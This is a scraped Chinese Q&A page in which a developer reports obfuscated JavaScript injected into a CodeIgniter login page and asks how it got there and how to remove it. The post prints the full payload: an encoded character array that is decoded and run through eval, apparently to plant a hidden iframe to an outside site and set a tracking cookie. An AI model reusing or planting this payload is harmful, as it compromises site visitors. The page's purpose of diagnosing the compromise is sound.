javascript - 恶意javascript注入(inject)登录页面-6ren

javascript - 恶意javascript注入(inject)登录页面

转载作者：行者123 更新时间：2023-11-29 15:41:53

24

4

<分区>

我有一个使用 CodeIgniter 编写的小型网络应用程序。但是，我最近发现有人在我的应用程序的登录页面中注入(inject)了一些 javascript。当我查看远程服务器的模板文件时，javascript 不存在，但是当我在 Chrome 中查看源代码时，我看到下面的 Javscript 片段:

a = ("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,163,154,165,146,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,163,154,165,146,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,160,150,162,151,167,147,163,166,170,62,146,155,176,63,165,146,74,176,130,73,164,173,62,164,154,164,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,163,163,154,165,146,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,163,163,154,165,146,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,163,163,154,165,146,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,163,163,154,165,146,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,163,163,154,165,146,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16" ["split"](","));
ss = eval("Str" + "ing");
d = document;
for (i = 0; i < a.length; i += 1) {
    a[i] = parseInt(a[i], 8) - (7 - 3);
}
try {
    d.body++
} catch (q) {
    zz = 0;
}
try {
    zz &= 2
} catch (q) {
    zz = 1;
}
if (!zz)
    if (window["document"]) eval(ss["fromCharCode"].apply(ss, a));

当我在本地运行我的 Web 应用程序时，我没有看到这个片段，所以很明显我的远程服务器已被入侵。

编辑:

查看代码后，我意识到该数组包含大量用于构建实际代码的字符。正如 elclanrs 指出的那样，代码似乎使用恶意 cookie 跟踪用户。

所以我的问题是如何设法将这种类型的代码注入(inject)我的登录页面？我查看了模板文件，但找不到代码片段，所以我不知道该怎么做从我的页面中删除它。

24

4

0

文章推荐： android - 如何在 Cordova webview 中加载和导航网站

文章推荐： mysql - 如何将本地MySQL数据库同步到Amazon RDS数据库？

文章推荐： android - Rx Android 我如何在改造 2 中检查 204 代码

文章推荐： mysql - 我需要替换字符串的字符并用 JSON_EXTRACT 读取

dependency-injection - "Injection"在构造函数注入(inject)和依赖注入(inject)中是什么意思
我已阅读有关依赖注入(inject)的信息。然后来了构造函数注入(inject)， setter/getter 注入(inject) 二传手注入(inject) 接口(interface)注入(in
dependency-injection - 关联注入(inject)还是依赖注入(inject)？
我正在研究依赖注入(inject)模式。我看过很多例子，其中一个典型的例子是使用 XxxService/XxxRepository 作为例子。但是在我看来，按照UML的概念，类XxxRepositor
java - javax.inject.Inject 和 com.google.inject.Inject 有什么区别？
我开始使用 Google Guice。我有一个简单的问题: javax.inject 的 @Inject 注释和 com.google.inject 的有什么区别@Inject 一个 ? 谢谢。
dependency-injection - CaSTLe - 使用构造函数注入(inject)类型工厂注入(inject)组件时，属性注入(inject)无法解析依赖关系
当使用构造函数注入(inject)工厂方法时，依赖的属性不会得到解析。但是，如果在解析依赖的组件之前解析了工厂方法，则一切都会按预期工作。此外，当仅使用属性注入(inject)或构造函数注入(inje
dependency-injection - 将值注入(inject)到注入(inject)的依赖项中
我有这样的事情: class Root { public Root(IDependency dep) {} } class Dependency:IDependency { p
dependency-injection - 构造函数注入(inject)——我们也注入(inject)工厂吗？
听完Clean Code Talks ，我开始明白我们应该使用工厂来组合对象。因此，例如，如果 House有一个 Door和 Door有一个 DoorKnob , 在 HouseFactory我们创建
dependency-injection - 如何注入(inject)注入(inject)器？
情况:我需要在一些 FooClass 中进行惰性依赖实例化，所以我通过 Injector类作为构造函数参数。 private final Injector m_injector; public Foo
dependency-injection - Dependency Injection，将一个 "injectable"的对象(服务)注入(inject)到一个newable(实体)中
在编写代码时，我们应该能够识别两大类对象: 注入(inject)剂新品 http://www.loosecouplings.com/2011/01/how-to-write-testable-cod
dependency-injection - 依赖注入(inject) : injecting partially-initialized objects
这个问题是关于 Unity Container 的，但我想它适用于任何依赖容器。我有两个具有循环依赖关系的类: class FirstClass { [Dependency] pub
dependency-injection - Ninject:使用哪种注入(inject)模式来注入(inject)多个依赖项？
如果我有 10 个依赖项我需要注入(inject)并且不想在构造函数中有 10 个参数，我应该使用哪种注入(inject)模式？ public class SomeClass { privat
typescript - 将@Injectable() 注入(inject)另一个@Injectable() 时出错
我在使用 Angular2 DI 时遇到了问题。我尝试将一个类注入(inject)另一个类，它引发了以下错误: 留言:"Cannot resolve all parameters for 'Produ
c# - 使用依赖注入(inject)注入(inject)依赖注入(inject)器
对依赖注入(inject)还很陌生，我想弄清楚这是否是一种反模式。假设我有 3 个程序集: Foo.Shared - this has all the interfaces Foo.Users -
angular - 正确理解 angular14 中的注入(inject) - 必须从注入(inject)上下文中调用 inject()
我正在尝试了解 Angular 14 的变化，尤其是 inject()我可以将模块注入(inject)功能的功能，我不需要为此创建特殊服务..但我想我弄错了。我正在尝试创建一些静态函数来使用包 ng
dependency-injection - 依赖注入(inject) : How to inject when using a multi-project solution
希望这个问题不是太愚蠢，我试图掌握更高级的编程原理，因此试图习惯使用 Ninject 进行依赖注入(inject)。因此，我的模型分为几个不同的 .dll 项目。一个项目定义了模型规范(接口(int
dependency-injection - 构造函数注入(inject)/依赖注入(inject) - 处理 'root' 类
我最近一直在大量使用依赖注入(inject)、测试驱动开发和单元测试，并且开始喜欢上它。我在类中使用构造函数依赖，这样我就可以为单元测试注入(inject)模拟依赖。但是，当您实际需要生产环境中的
dependency-injection - 通过构造函数注入(inject)和通过 Guice 的字段注解注入(inject)有什么区别？
我有下面的代码来使用 Guice 进行依赖注入(inject)。第一个是使用构造函数注入(inject)，而另一个是直接在字段上方添加 @Inject。这两种方式有什么区别吗？ Guice官网似乎推荐
dependency-injection - angular2 向其他人注入(inject)服务 - 使用@Inject 时出错
这个问题在这里已经有了答案: Angular2 Beta dependency injection (3 个答案) 关闭 7 年前。我正在使用 angular2 测试版。并在使用 @Inject
angular - 我应该如何从另一个 Injectable 扩展 Injectable，并在 angular2 中进行多次注入(inject)？
有没有可能做这样的事情？ (因为我尝试过，但没有成功): @Injectable() class A { constructor(private http: Http){ // <-- Injec
.net - 依赖注入(inject) : Combine Constructor Injection benefit with Setter Injection benefits?
我很恼火必须通过 Constructor 传递管道对象，因为我想为业务实体或要传递的值保留构造函数参数。所以我想通过 setter ，但只要这些 setter 没有被填充，我的包含依赖项的对象就不应
c# - 在 Blazor 中使用 @inject 与 [Inject] 依赖注入(inject)之间有什么根本区别吗
假设我有这个: SomePage.razor: @inject Something something @page "/somepage" My Page @code { // Using

首页

博学

6Ren·AI

商城

javascript - 恶意javascript注入(inject)登录页面